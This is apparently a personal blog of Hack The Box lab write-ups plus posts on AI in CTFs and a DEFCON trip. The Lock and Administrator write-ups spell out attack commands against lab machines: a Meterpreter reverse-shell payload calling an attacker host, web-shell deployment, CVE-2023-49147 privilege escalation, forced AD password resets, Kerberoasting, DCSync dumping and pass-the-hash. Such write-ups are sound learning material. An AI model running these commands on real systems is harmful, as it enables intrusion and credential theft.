    [Long-term] Implement a web application security baseline and Group Policy hardening program Define a hardening standard for all web applications covering SSRF protections, file upload restrictions, credential storage, and patch cadence. Establish a recurring Group Policy audit covering AlwaysInstallElevated, AutoRun settings, and other well-known Windows privilege escalation misconfigurations. Include all web applications and Group Policy configurations in the regular penetration testing scope.

  • Lesson writeup

    Lesson writeup

    Challenge name: Lesson

    Difficulty: Very Easy

    Challenge Scenario: It’s time to learn some basic things about binaries and basic c. Answer some questions to get the flag.

    Link: https://app.hackthebox.com/challenges/Lesson?tab=play_challenge

    Machine IP: 154.57.164.82:31300

    Downloaded the zip as the site looks a bit like junk.

    Read the main.c file.

    It looks like if I just input admin, I would be able to successfully log in. This is the return on my own machine.

    Looks like I actually need to connect to the IP and it provides questions.

    nc 154.57.164.82 31300

    Question 0x1: 64-bit.

    File main

    Question number 0x2: NX

    gdb ./main

    Checksec

    This is actually just a lesson and not a challenge.

    Question number 0x3: admin

    What we saw earlier.

    Question number 0x4: 0x20

    Seen in the previous code.

    Question number 0x5: under_construction

    Never actually used, seen in previous code.

    Question number 0x6: scanf

    Question number 0x7: 40

    Just run the code and see when it errors out.

    Question number 0x8: 0x4011d6

    Then we get the flag.

    GG

  • Redminers writeup

    Redminers writeup

    Challenge name: Redminers

    Difficulty: Very Easy

    Challenge Scenario: In the race for Vitalium on Mars, the villainous Board of Arodor resorted to desperate measures, needing funds for their mining attempts. They devised a botnet specifically crafted to mine cryptocurrency covertly. We stumbled upon a sample of Arodor’s miner’s installer on our server. Recognizing the gravity of the situation, we launched a thorough investigation. With you as its leader, you need to unravel the inner workings of the installation mechanism. The discovery served as a turning point, revealing the extent of Arodor’s desperation. However, the battle for Vitalium continued, urging us to remain vigilant and adapt our cyber defenses to counter future threats.

    Link: https://app.hackthebox.com/challenges/Red%2520Miners?tab=play_challenge

    Machine IP: NA

    Downloaded the zip and unzipped it. Right away I saw a bunch of base64.

    I decoded this and its a part of the flag.

    Part 2 of flag 

    Part 3 of flag

    Part 2 I think is this

    Put it altogether and submitted the flag and it worked. I didn’t even have to read the code exactly. From reading the code though it looks like it looks for a certain username, root7654, specific host name and basically runs a ‘miner’ but kills other services that may affect it.

    GG

  • Lock writeup

    Lock writeup

    Box name: Lock

    Difficulty: Easy

    OS: Windows

    Overview: Lock is an easy-difficulty Windows machine that involves enumerating a Gitea repository to find a Personal Access Token. This token is then used to deploy an ASPX web shell on the server, which provides an initial foothold. A password is then decrypted from an mRemoteNG configuration file, providing access to a new user account. Finally, a local privilege escalation vulnerability in the PDF24 application is exploited to obtain a shell with SYSTEM privileges.

    Link: https://app.hackthebox.com/machines/Lock?tab=play_machine

    Machine IP: 10.129.234.64

    Ran rustscan against the machine.

    rustscan -a 10.129.234.64 –ulimit 5000 -b 500 — -A -Pn

    Navigated to the site on port 80 and 3000. Port 3000 is a Gitea instance. Searchsploit show some possible but not exact exploits, I’ll keep that on my mind. 

    searchsploit Gitea

    Ran feroxbuster on the main site.

    feroxbuster -u http://10.129.234.64 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400,503,403

    No robots.txt. Site is made by Bootstrap.

    Nothing interesting in source. Feroxbuster found /CHANGELOG.txt but it doesn’t look important.

    Checked out Gitea further and we see some dev-scripts from a user ellen.freeman.

    Read the the code.

    It looks like its looking for a token to hit the API. Poked around and under the commits there are actually 2 of them.

    Clicked on the committed and the ‘Add repos.py’ commit had a hard coded token.

    We can take this token and save is as a local variable.

    export GITEA_ACCESS_TOKEN=43ce39bb0bd6bc489284f2905f033ca467a6362f 

    Copy the code and run it.

    python3 repos.py http://10.129.234.64:3000

    I was able to clone the /website files.

    git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.234.64:3000/ellen.freeman/website.git

    When reading the the files I have already seen changelog.txt. Read readme.md and it says changes will be deployed.

    This is a Microsoft IIS server so I wonder if I can upload a .aspx rev shell. Created a msfvenom payload.

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx > reverse.aspx

    Set up a multi/handler with msfconsole. Pushed it with git.

    git config –global user.name “ellen.freeman”

    git config –global user.email “ellen.freeman”

    git commit -m “revshell”

    git push

    Triggered it by navigated to http://10.129.234.64/reverse.aspx and we get a shell.

    While navigating through directories I noticed another user gale.dekarios.

    There’s no flag in ellen’s files so we will likely need to get gale first. In documents of ellen though I noticed a config.xml which is for mRemoteNG and upon reading that it looks like we potentially have Gale’s credentials.

    I have used this tool in the past https://github.com/haseebT/mRemoteNG-Decrypt to decrypt the file. I was not able to get that to work on this config.xml for some reason. I was wondering if I wasn’t doing this properly so I peeked at the write. This has a specific script https://raw.githubusercontent.com/gquere/mRemoteNG_password_decrypt/refs/heads/master/mremoteng_decrypt.py which I was able to use successfully. After further looking at the script https://github.com/haseebT/mRemoteNG-Decrypt tried decoding the full XML file.

    python3 mremoteng_decrypt.py website/config.xml

    Gale.Dekarios:ty8wnW9qCKDosXo6

    Since RDP is open I was able to xfreerdp into the machine as Gale.

    xfreerdp3 /v:10.129.234.64 /u:Gale.Dekarios /p:ty8wnW9qCKDosXo6

    User.txt was on Gale’s desktop and also some applications PDF24 Launcher and PDF24 Toolbox that I have not seen before. Upon doing research I found it could be vulnerable to CVE-2023-49147 https://nvd.nist.gov/vuln/detail/CVE-2023-49147. Also found that site linking to this https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-msi-installer-in-pdf24-creator-geek-software-gmbh/. It says vulnerable version is 11.15.1 which ours is.

    It looks like its actually the MSI installer that is vulnerable to privilege escalation. Upon poking around I was able to find the installer at C:\_install.

    Essentially during the repair process it opens a cmd as SYSTEM and closes but we can use this tool to set an oplock on the file so it stays open https://github.com/googleprojectzero/symboliclink-testing-tools. Downloaded the tool to the victim machine.

    Ran the SetOPLock then msiexec

    SetOpLock.exe “C:\Program Files\PDF24\faxPrnInst.log” r

    msiexec.exe /fa C:\_install\pdf24-creator-11.15.1-x64.msi

    And we get the SYSTEM cmd.

    Followed the remaining steps to get a interactive SYSTEM shell.

    • right click on the top bar of the cmd window
    • click on properties
    • under options click on the “Legacyconsolemode” link
    • open the link with a browser other than internet explorer or edge (both don’t open as SYSTEM when on Win11)
    • in the opened browser window press the key combination CTRL+o
    • type cmd.exe in the top bar and press Enter

    And we get a system shell (remember to use firefox not edge).

    Got root.txt.

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified ports 80 (HTTP), 443 (HTTPS), 3000 (Gitea), and 3389 (RDP). Browsed to port 80 and found a Bootstrap-built site. Port 3000 was a Gitea instance with a public repository from user ellen.freeman. Ran feroxbuster on the main site and found /CHANGELOG.txt with no sensitive content.

    rustscan -a 10.129.234.64 –ulimit 5000 -b 500 — -A -Pn feroxbuster -u http://10.129.234.64 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion

    2 – Gitea personal access token discovery Explored the Gitea repository dev-scripts from ellen.freeman. Reviewed the commit history and found a hardcoded personal access token in the Add repos.py commit. Used the token to authenticate to the Gitea API and cloned the website repository. The README confirmed that changes pushed to the repo were automatically deployed to the web server.

    Token recovered: 43ce39bb0bd6bc489284f2905f033ca467a6362f

    git clone http://43ce39bb0bd6bc489284f2905f033ca467a6362f@10.129.234.64:3000/ellen.freeman/website.git

    3 – Initial Access – ASPX webshell via Git push Confirmed the web server was running IIS. Generated a Meterpreter ASPX reverse shell, committed it to the cloned website repository, and pushed it using the stolen token. Browsed to the deployed shell URL and caught a Meterpreter session as the IIS AppPool user. Found a second user gale.dekarios on the machine.

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.27 LPORT=1337 -f aspx > reverse.aspx git push

    4 – mRemoteNG credential decryption and lateral movement Found a config.xml mRemoteNG configuration file in ellen’s Documents directory containing an encrypted password for gale.dekarios. Used a public mRemoteNG decryption script to recover the plaintext. RDP’d in as gale and retrieved user.txt.

    python3 mremoteng_decrypt.py website/config.xml

    Credentials recovered: Gale.Dekarios:ty8wnW9qCKDosXo6

    5 – Privilege Escalation – PDF24 MSI repair oplock – CVE-2023-49147 Found PDF24 Creator 11.15.1 installed and an MSI installer in C:_install. Researched the version and found CVE-2023-49147, a local privilege escalation via the MSI repair process which opens a SYSTEM cmd window. Used SetOpLock to place an opportunistic lock on faxPrnInst.log to pause the repair at the right moment. Triggered msiexec repair and intercepted the SYSTEM cmd. Used the legacy console mode browser trick to spawn an interactive SYSTEM shell via Firefox. Retrieved root.txt.

    SetOpLock.exe “C:\Program Files\PDF24\faxPrnInst.log” r msiexec.exe /fa C:\_install\pdf24-creator-11.15.1-x64.msi


    Key Takeaways

    1. Personal access token hardcoded in a Git commit – A Gitea personal access token was committed to a public repository and remained in the commit history after the code was updated. Tokens and secrets must never be committed to any repository. Implement pre-commit hooks and secrets scanning tools to prevent credential commits and audit all repository history for historical secret exposure.
    2. Automatic deployment from a Git repository enabling webshell delivery – Changes pushed to the website repository were automatically deployed to the IIS web root, allowing any user with push access to deploy arbitrary ASPX files. Deployment pipelines must validate file types and content before deploying to production and must never deploy executable script files without explicit authorization.
    3. mRemoteNG encrypted credentials recoverable with default master password – The gale.dekarios credentials were stored in a config.xml file encrypted with mRemoteNG’s default static key, which is reversible with public tools. mRemoteNG configuration files must be encrypted with a strong custom master password and must not be stored in locations accessible to other users or service accounts.
    4. PDF24 MSI repair spawning SYSTEM cmd – CVE-2023-49147 (CVSS 7.8 High) – PDF24 Creator 11.15.1 was vulnerable to a local privilege escalation via the MSI repair process. An unprivileged user with access to the installer could pause the repair at a SYSTEM context window and escape to an interactive shell. Third-party applications with MSI installers must be kept patched and MSI repair functionality must be restricted to administrators only.
    5. MSI installer accessible to standard users in C:_install – The PDF24 MSI installer was stored in a world-accessible directory enabling any user to trigger the repair process. Installer files must be stored in locations accessible only to administrators and must be removed after deployment.

    Remediation

    [Immediate] Revoke the exposed Gitea access token and rotate it Revoke the token 43ce39bb0bd6bc489284f2905f033ca467a6362f immediately and generate a new token with the minimum required permissions. Audit all Gitea repository commit histories for additional exposed secrets and remove any findings. Implement repository secret scanning and pre-commit hooks across all Gitea repositories.

    [Immediate] Patch PDF24 Creator to remediate CVE-2023-49147 (CVSS 7.8 High) Update PDF24 Creator to the latest patched version immediately. If patching is not immediately possible, remove the installer from C:_install and restrict access to the PDF24 application directory to administrators only. Audit all third-party applications for similar MSI repair vulnerabilities.

    [Immediate] Rotate the Gale.Dekarios credentials and restrict mRemoteNG config access Rotate the gale.dekarios password immediately. Set restrictive permissions on the config.xml file so it is readable only by the owning user. Configure mRemoteNG to use a strong custom master password and audit all systems for mRemoteNG configuration files accessible to non-owning users.

    [Immediate] Remove deployed webshells and restrict the deployment pipeline Audit the IIS web root for any unauthorized files including reverse.aspx and remove them immediately. Implement file type validation in the deployment pipeline rejecting ASPX and all other executable script types. Require code review and explicit authorization before any file is deployed to the web root.

    [Short-term] Implement secrets scanning across all Git repositories Deploy a secrets scanning solution such as truffleHog or gitleaks to scan all existing repository history for exposed tokens, passwords, and API keys. Integrate scanning into the CI/CD pipeline to prevent future commits containing credential material. Enforce short token lifetimes and regular rotation for all personal access tokens.

    [Long-term] Implement a secure deployment and application lifecycle baseline Define a hardening standard for all deployment pipelines covering file type restrictions, authorization requirements, and post-deployment integrity checks. Include third-party application patch management, MSI installer access controls, and credential file permissions in regular security audits and penetration tests.

  • Administrator writeup

    Administrator writeup

    Box name: Administrator

    Difficulty: Medium

    OS: Windows

    Overview: Administrator is a medium-difficulty Windows machine designed around a complete domain compromise scenario, where credentials for a low-privileged user are provided. To gain access to the michael account, ACLs (Access Control Lists) over privileged objects are enumerated, leading us to discover that the user olivia has GenericAll permissions over michael, allowing us to reset his password. With access as michael, it is revealed that he can force a password change on the user benjamin, whose password is reset. This grants access to FTP where a backup.psafe3 file is discovered, cracked, and reveals credentials for several users. These credentials are sprayed across the domain, revealing valid credentials for the user emily. Further enumeration shows that emily has GenericWrite permissions over the user ethan, allowing us to perform a targeted Kerberoasting attack. The recovered hash is cracked and reveals valid credentials for ethan, who is found to have DCSync rights ultimately allowing retrieval of the Administrator account hash and full domain compromise.

    Link: https://app.hackthebox.com/machines/Administrator?tab=play_machine

    Machine IP: 10.129.50.211

    As is common in real life Windows pentests, you will start the Administrator box with credentials for the following account: Username: Olivia Password: ichliebedich

    Ran rustscan against the machine.

    rustscan -a 10.129.50.211 –ulimit 5000 -b 500 — -A -Pn

    Looks like a machine on a domain. Added administrator.htb to /etc/hosts. Tried FTP’ing with the given credentials but they did not work. Tried ldap search but got no results. Checked shares and users with netexec and we do get some users back. No directly interesting shares.

    nxc smb 10.129.50.211 -u “Olivia” -p “ichliebedich” –shares

    nxc smb 10.129.50.211 -u “Olivia” -p “ichliebedich” –users

    I checked Documents, Downloads and Desktop of Olivia with evil-winrm but haven’t found anything. Tried kerberoasting and asreproasting but got no results. Checked token. Spray users as password. Also sprayed our current credentials we have. Tried a bunch of other things. Finally I found something interesting with BloodyAD.

    bloodyAD –host dc.administrator.htb -d administrator.htb -u Olivia -p ‘ichliebedich’ –dc-ip 10.129.50.211 get writable

    We have access to write on Michaels account. Let’s try resetting his password.

    bloodyAD –host dc.administrator.htb -d administrator.htb -u Olivia -p ‘ichliebedich’ –dc-ip 10.129.50.211 set password “CN=Michael Williams,CN=Users,DC=administrator,DC=htb” “Password123$”

    It looks like that worked. Confirmed it but also no interesting shares from this account.

    nxc smb 10.129.50.211 -u michael -p “Password123$” –shares

    With Michaels account we can also change benjamin’s password.

    bloodyAD –host dc.administrator.htb -d administrator.htb -u michael -p ‘Password123$’ –dc-ip 10.129.50.211 set password “CN=Benjamin Brown,CN=Users,DC=administrator,DC=htb” “Password123$”

    After more of trying things eventually I found that benjamin has access to ftp and there is a file in there Backup.psafe3.

    ftp 10.129.50.211

    This file is password protected. I was able to find that John the ripper has a built in tool to crack psafe files.

    pwsafe2john Backup.psafe3 > safe.hash

    john –wordlist=/usr/share/wordlists/rockyou.txt safe.hash

    Opened this file with pwsafe and put password.

    pwsafe Backup.psafe3

    It provided me with 3 passwords.

    I sprayed the credentials and the credentials worked on emily’s account. emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

    nxc smb 10.129.50.211 -u users.txt -p pass.txt –continue-on-success

    I ended up getting stuck here after a while and peeked at the writeup. I did try kerberoasting but it failed but apparently there is a targeted kerberoast tool. Additionally I will need to get used to Bloodhound for better visualization.

    python3 targetedKerberoast.py –dc-ip 10.129.50.211 -d administrator.htb -u emily -p ‘UXLCI5iETUsIBoFVTj8yQFKoHjXmb’ -U ethan.txt

    If we fix the clock and rerun it we get ethan’s hash.

    sudo ntpdate 10.129.50.211

    python3 targetedKerberoast.py –dc-ip 10.129.50.211 -d administrator.htb -u emily -p ‘UXLCI5iETUsIBoFVTj8yQFKoHjXmb’ -U ethan.txt

    I was able to crack the hash with hashcat.

    hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt –force

    With ethan’s account we are able to secretsdump.

    secretsdump.py -just-dc adminsitrator.htb/ethan@10.129.50.211

    And we are able to successfully pass the hash with the Administrator account and evil-winrm and grab both flags.

    evil-winrm -i 10.129.50.211 -u Administrator -H ‘3dc553ce4b9fd20bd016e098d2d2fd2e’

    GG

    Attack Chain

    1 – Reconnaissance Ran RustScan and identified a domain-joined Windows machine. Added administrator.htb to /etc/hosts. Tried the provided Olivia credentials against FTP and LDAP with no success. Enumerated SMB shares and domain users with netexec. Tried Kerberoasting, ASREPRoasting, and credential spraying with no results. Used BloodyAD to enumerate writable ACL objects and found Olivia had GenericAll over Michael’s account.

    rustscan -a 10.129.50.211 –ulimit 5000 -b 500 — -A -Pn nxc smb 10.129.50.211 -u “Olivia” -p “ichliebedich” –users bloodyAD –host dc.administrator.htb -d administrator.htb -u Olivia -p ‘ichliebedich’ –dc-ip 10.129.50.211 get writable

    2 – ACL abuse chain – Olivia to Michael to Benjamin Used Olivia’s GenericAll privilege to reset Michael’s password. Authenticated as Michael and found he could force a password change on Benjamin. Reset Benjamin’s password to gain access to his account.

    bloodyAD … set password “CN=Michael Williams,CN=Users,DC=administrator,DC=htb” “Password123$” bloodyAD … set password “CN=Benjamin Brown,CN=Users,DC=administrator,DC=htb” “Password123$”

    3 – FTP access and Password Safe database cracking Found Benjamin had FTP access and a Backup.psafe3 file in the FTP share. Used pwsafe2john to extract the hash and cracked it with John the Ripper using rockyou. Opened the database with pwsafe and recovered credentials for three accounts.

    pwsafe2john Backup.psafe3 > safe.hash john –wordlist=/usr/share/wordlists/rockyou.txt safe.hash

    4 – Credential spray and Emily’s account Sprayed all recovered passwords across all enumerated users. Emily’s credentials authenticated successfully.

    Credentials recovered: emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

    5 – Targeted Kerberoasting via GenericWrite on Ethan Found Emily had GenericWrite over Ethan, enabling a targeted Kerberoast attack by setting an SPN on his account. Synced the system clock and ran targetedKerberoast to request and capture Ethan’s TGS hash. Cracked it with Hashcat using rockyou.

    sudo ntpdate 10.129.50.211 python3 targetedKerberoast.py –dc-ip 10.129.50.211 -d administrator.htb -u emily -p ‘UXLCI5iETUsIBoFVTj8yQFKoHjXmb’ -U ethan.txt hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt –force

    6 – DCSync and domain compromise Confirmed Ethan had DCSync rights. Used secretsdump to dump all domain hashes. Passed the Administrator NTLM hash via evil-winrm to authenticate and retrieved both flags.

    secretsdump.py -just-dc administrator.htb/ethan@10.129.50.211 evil-winrm -i 10.129.50.211 -u Administrator -H ‘3dc553ce4b9fd20bd016e098d2d2fd2e’


    Key Takeaways

    1. GenericAll and GenericWrite ACL misconfigurations enabling account takeover chain – A chain of excessive AD ACL permissions allowed forced password resets across multiple accounts culminating in targeted Kerberoasting and DCSync. AD ACLs must be audited regularly using BloodHound and excessive permissions including GenericAll and GenericWrite on user objects must be removed immediately.
    2. Credentials stored in a Password Safe database on an FTP share – Domain user credentials were stored in a psafe3 database accessible via FTP, which was crackable offline with rockyou. Credential stores must never be placed on network shares and must use a master password that resists offline cracking. Rotate all credentials recovered from the database immediately.
    3. Targeted Kerberoasting enabled by GenericWrite – Emily’s GenericWrite over Ethan allowed setting an SPN and Kerberoasting his account without any prior SPN registration. GenericWrite on user objects must be treated as equivalent to a targeted Kerberoast capability and must be restricted to accounts with an explicit operational requirement.
    4. Crackable Kerberos service ticket hash – Ethan’s TGS hash was cracked with rockyou. Any account subject to Kerberoasting must use a password of at least 25 randomly generated characters to make offline cracking computationally infeasible.
    5. DCSync rights on a standard user account enabling full domain compromise – Ethan held DS-Replication-Get-Changes-All rights, allowing a full domain hash dump from a single compromised user account. DCSync rights must be held only by domain controllers and must be audited and removed from all other accounts immediately.

    Remediation

    [Immediate] Audit and remove excessive AD ACL permissions Run BloodHound and audit all GenericAll, GenericWrite, WriteDACL, and ForceChangePassword ACEs across all domain objects. Remove Olivia’s GenericAll over Michael, Michael’s ability to reset Benjamin’s password, and Emily’s GenericWrite over Ethan. Establish a recurring ACL audit process and alert on any new high-risk ACE assignments.

    [Immediate] Remove DCSync rights from Ethan and rotate all recovered hashes Remove DS-Replication-Get-Changes and DS-Replication-Get-Changes-All from Ethan’s account immediately. Initiate a domain-wide password reset for all accounts whose hashes were recovered via DCSync. Rotate the Administrator password to a randomly generated string managed through a PAM solution.

    [Immediate] Remove the Backup.psafe3 file and rotate all recovered credentials Delete the password database from the FTP share immediately and rotate all three credentials recovered from it. Audit all FTP shares for sensitive files and remove any credential stores, configuration files, or backup data.

    [Immediate] Restrict FTP access and require strong authentication Restrict FTP to only the accounts and IP addresses with an explicit operational requirement. Require authentication for all FTP connections and consider replacing FTP with SFTP. Audit all FTP directories for sensitive content.

    [Short-term] Enforce strong passwords on all Kerberoastable accounts Audit all accounts with SPNs or that can be targeted via GenericWrite-based Kerberoasting. Enforce passwords of at least 25 randomly generated characters and deploy Group Managed Service Accounts for all service accounts to automate rotation and eliminate crackable hashes.

    [Long-term] Deploy BloodHound continuously and implement tiered AD administration Run BloodHound on a regular cadence to detect new ACL misconfigurations and attack paths. Adopt a tiered AD model to prevent standard user accounts from holding rights over other users or domain controllers. Implement SIEM detection rules for DCSync activity, forced password resets, and SPN modification events. Include ACL enumeration and targeted Kerberoasting in the regular penetration testing scope.

  • Thoughts of AI usage

    I see this reoccurring discussion very often of people absolutely despising AI usage in CTFs or any competitive penetration testing or programming. This post isn’t to necessarily defend AI, nor dismissing other the detrimental outcomes that result from AI usage. Im relatively new to offensive security but here are my current thoughts:

    Though I don’t quite use AI like the top competitors- Reality is in the current world, businesses do not care if you use AI as long as their goal for a penetration testing or software development is cleanly and safely hitting it’s goal. It’s essentially a view of better automation for leverage instead of a ‘Claude do this make no mistake’. As someone in tech, I love automation.

    Now I haven’t necessarily experienced this myself as I’m on the younger side but I like to think of this day of age akin to when the browser was popularized to the normal person. It was a completely new concept to the individual who was familiar with learning strictly from books. I’m sure there were philosophical discussions if receiving knowledge from a browser search was efficient or damaging. In the era of browsers that is why we were asked to cite sources that were backed by academic resources. I believe unfortunately, if we don’t adapt and use it we fall behind. This is just a hard to grasp evolution of the field and world.

    AI is unmistakably the future whether we collectively hate it or not. As I grow further in offensive security, my goal is to accomplish tasks manually, so I know what is actually happening, but also to be able to accomplish that given task more rapidly and proficiently with using autonomous AI agents.

    Back to CTF and competitive use, what I’d like to see is separation of AI and manual competition. I think it would be very hard to deploy though as we do most of this remotely and that’d require some clever and intrusive monitoring software. I would love to see it for in-person CTFs and fascinatingly I did see it at DEFCON in the Pack Hacking Village CTF.

  • DEFCON 34

    DEFCON 34: My First Con Experience

    August 2026

    Wednesday

    I left Philly around 6 AM for the airport and immediately made my first mistake. I forgot my phone charger and had to grab one at “Gadget Express” in the airport. Initially I did not pay attention to the price until later, and apparently it was $120. Don’t shop there and make sure to remember to bring chargers.

    The flight wasn’t bad. I spent most of it reading Thus Spake Zarathustra by Nietzsche.

    “Too far did I fly into the future; a horror seized upon me.”

    It felt relevant to AI discussions, though the book put me to sleep faster than I wanted to as this was my third time reading it. I should chose a better engaging book for the ride.

    Las Vegas hit different. The moment you exit the plane, slot machines surround you. It’s surreal but on par. But the real shock was the heat. Nevada was in the middle of a heatwave, and every day was over 110°F. The air felt exactly like that SpongeBob episode where he suffocates without water.

    I took a taxi from the airport as I recall seeing that recommended but I didn’t check the price beforehand and got charged $60 when it should’ve been ~$30 according to my friends. I didn’t have check-in until 4 PM, so I met up with a HackTheBox friend at OmegaMart/Area 15. This trippy psychedelic interactive museum felt like Adult Swim sponsored it and it was quite cool. Fun place though, but we were forced to leave early due to hacker curiosity (if you know, you know).

    After checking into Harrahs, I grabbed some groceries from CVS, watched The Hangover, and tried to sleep early. Jet lag was rough since I’m already a terrible sleeper.

    Thursday

    I woke up early and grabbed my badge. Here’s the thing about Thursday: nothing actually happens. It’s just badge pickup day. They give you a handbook with surface-level info, and that’s it. I was reading it in the hallway when a friend coincidentally was sitting next to me. We didn’t realize until we were sitting near each other until he hit me up over Signal. I’d met him at a rave a year ago, my first hacker IRL friend. He’s more experienced with DEFCON, so we talked history, fake badges, deauth techniques, that sort of thing.

    We hit up In-N-Out for lunch but it’s unimpressive, it tastes like a Wendy’s burger with a cult following.

    The Toxic BBQ was happening, but it was way too hot outside. Instead, I decided to gamble and live out the Las Vegas tourist fantasy.

    Blackjack basics I learned:

    • Always hit on 11 or under
    • 12-17: hit if dealer shows high card
    • Never hit on 17
    • Bet up after losses to recover, then normalize

    Roulette: No logic, pure luck. I somehow hit 35x on $5 chips (everyone else was using $1. Didn’t realize I was being stupidly aggressive).

    I made $322 though by god’s will, then got bored and walked to The LINQ where I saw hackers at Circle Bar. Ended up talking to DC710 and DC702 folks, grabbed some stickers and coins. Later that night, I got an invite to the DC562 party. A legit gathering with EDM, a CTF with terminals, and full bar/kitchen setup.

    There I even met the guy with the Flock camera badge (https://x.com/Mammoth/status/2085118715276796081). Fuck mass surveillance. Connected with a ton of people, grabbed N64 controllers and stickers, played mousetrap Jenga (my fingers still hurt). Great crowd, and I headed back early since my body was still on EDT time.

    Friday

    The real DEFCON experience started today. A friend with a rental drove us (parking was $40, terrible value). We entered on the north side and found our Philly clique. A mutual friend was giving a talk about DC862 (New Jersey DEFCON chapter).

    The talk areas used silent headphones. Genius design, but weird to see a lecture hall completely silent until applause.

    I broke off solo to explore. Physical Security Village was the coolest part of the day. Everything about it was hands-on and educational. I also hit up:

    • Hack5 booth (bought a few tools I haven’t previously owned)
    • Lockpicking vendors (upgraded my worn Amazon set)
    • Embedded Systems Village (sat down and did actual firmware walkthroughs)
    • Packet Hacking Village (aesthetic was perfect, underground basement rave LAN party vibes)

    I skipped the live vishing demo (line was insane) and spent most of the day aimlessly walking, which I wouldn’t recommend in hindsight. Pro tip: Read up on villages beforehand and use HackerTracker to schedule your day.

    I felt simultaneously underwhelmed and overwhelmed. Everyone seemed brilliant, and I felt like a larper. Eventually made it to the Wall of Sheep (worth seeing in person), then headed back to the hotel to do TCM Security’s CTF. Finished in an hour and placed 33rd (out of 32+ who started Thursday/early Friday).

    Saturday

    With better bearings, I actually tried to do things:

    • Battle of Bots at Social Engineering Village
    • Radio Frequency talk (ironic considering the wireless headsets were being jammed by the whole place)
    • Hardware Hacking Village: PIN challenge walkthrough with timing-based deduction
    • Malware Development for Ethical Hackers workshop (cocomelonc’s BSides workshop at https://github.com/cocomelonc/bsprishtina-2024-maldev-workshop)
    • QueerCon/CheeseCon (met some online HackTheBox friends, got cheese)
    • Cold Calls vishing line was too long to wait again

    Weird realization: even with “lots” to do, time flies. Most of it’s spent walking or waiting in lines. The con feels absurdly shorter than it actually is.

    Finished the day with the Lonely Hacker CTF in my hotel room but didn’t make enough progress to compete seriously.

    Sunday

    Not much happens on Sunday either. I caught the social engineering village live calls pre qual finally though, they were pretty funny and impressive. The Social engineering village lost internet during the event and used a Tesla Starlink to stay connected.

    Watched “What is it Really Like to Be a Red Teamer?” talk at the Noob Community. Then also watched the Red team village talk Hacking the Human-in-the-Loop which was actually interesting, I recommend watching that. The speaker was someone I’d met at a bar earlier. Heading back to my hotel felt right. There was an after-party, but I didn’t want to be hungover on Monday’s flight so that I skipped as well

    Monday

    Day of travel, 2 hours delay and got home in bed roughly at 11pm. I sure do hate traveling.

    Conclusion

    I’m not entirely sure if I’d go back to be honest, unless it was fully paid off. I expected it to be on the level of magical as Disneyland as a child. I don’t regret going entirely. but I don’t necessarily think I needed it. At the same time i think my expectations may have been too high. In a nutshell I’d say- Don’t go u less u have friends/peers online that you want to meet, available money or competing at a top level official CTF- it won’t be worth it. Additionally, I feel like more of a skid after, not less.

    Practical Tips:

    • Everything is absurdly expensive everywhere, Las Vegas is a tourist trap
    • Stay hydrated constantly
    • Prepare for the heat (110°F+ this year)
    • Expect for a lot of walking
    • Use HackerTracker to plan your day
    • Budget around $4k total for the trip

    Oh and DEFCON is cancelled next year.

Categories